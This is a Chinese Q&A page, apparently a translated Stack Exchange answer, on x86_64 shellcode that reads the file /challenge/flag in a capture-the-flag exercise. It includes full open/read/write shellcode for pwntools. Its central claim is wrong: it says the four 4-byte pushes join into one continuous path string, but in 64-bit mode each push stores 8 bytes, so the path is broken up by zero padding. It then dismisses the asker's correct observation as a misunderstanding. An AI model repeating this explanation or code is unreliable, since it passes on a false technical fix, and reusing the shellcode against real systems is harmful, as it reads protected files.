x86_64汇编Shellcode:如何正确加载文件路径传入open系统调用?
问题分析与解决方案
你的shellcode核心问题并非路径拆分错误,而是调试时对rdi寄存器的理解偏差,以及后续read操作可能引发的栈数据覆盖问题(虽不影响open调用,但可能干扰调试观察)。
1. 路径拆分的正确性验证
你对/challenge/flag\x00的4字节块拆分是正确的:
- 按x86小端序,从右往左push 4字节块,栈中会自动拼接成完整的空终止路径字符串:
最终栈中从push 0x0067616c → 对应字节: 'l','a','g','\x00' push 0x662f6567 → 对应字节: 'g','e','/','f' push 0x6e656c6c → 对应字节: 'l','l','e','n' push 0x6168632f → 对应字节: '/','c','h','a'rsp开始的字节序列为:/ c h a l l e n g e / f l a g \x00,完全匹配目标路径。
2. 调试误解说明
你观察到rdi寄存器“仅包含部分路径(如'/cha')”是误解:rdi存储的是路径的内存指针,而非路径字符串本身。在gdb/pwndbg中,需用x/s $rdi命令查看指针指向的完整字符串,直接打印$rdi只会显示指针的数值,而指针指向的内存前4字节正好是'/cha',导致你误以为路径不完整。
3. 修正后的Shellcode
以下是优化后的shellcode,解决了read操作覆盖路径的问题,并明确指定架构避免编译错误:
shellcode = asm(''' ; 构造路径 /challenge/flag\x00 push 0x0067616c ; 栈中对应: 'l','a','g','\x00' push 0x662f6567 ; 栈中对应: 'g','e','/','f' push 0x6e656c6c ; 栈中对应: 'l','l','e','n' push 0x6168632f ; 栈中对应: '/','c','h','a' lea rdi, [rsp] ; rdi = 路径指针 xor rsi, rsi ; rsi = 0 (O_RDONLY 只读打开) mov rax, 2 ; x86_64 Linux open系统调用号 syscall ; 读取文件内容(单独分配缓冲区,避免覆盖路径) mov rdi, rax ; rdi = 文件描述符(open返回值) sub rsp, 0x100 ; 栈上分配256字节缓冲区 mov rsi, rsp ; rsi = 缓冲区指针 mov rdx, 0x100 ; rdx = 最大读取长度 xor rax, rax ; x86_64 Linux read系统调用号 syscall ; 将读取内容写入stdout mov rdi, 1 ; rdi = stdout文件描述符 mov rsi, rsp ; rsi = 缓冲区指针 mov rdx, rax ; rdx = 实际读取的字节数(read返回值) mov rax, 1 ; x86_64 Linux write系统调用号 syscall ''', arch='amd64')
4. 额外注意事项
- 确保使用
arch='amd64'参数调用asm,避免pwntools默认生成32位代码; - 调试时用
x/s $rdi查看完整路径,用info registers查看寄存器数值; - 若open仍失败,可检查
syscall后的rax值:若为负数,说明系统调用出错,可通过errno值(取rax绝对值)排查具体原因(如EACCES权限不足、ENOENT文件不存在等)。
内容的提问来源于stack exchange,提问作者Aylan Hanifi
相关产品推荐
相关产品推荐

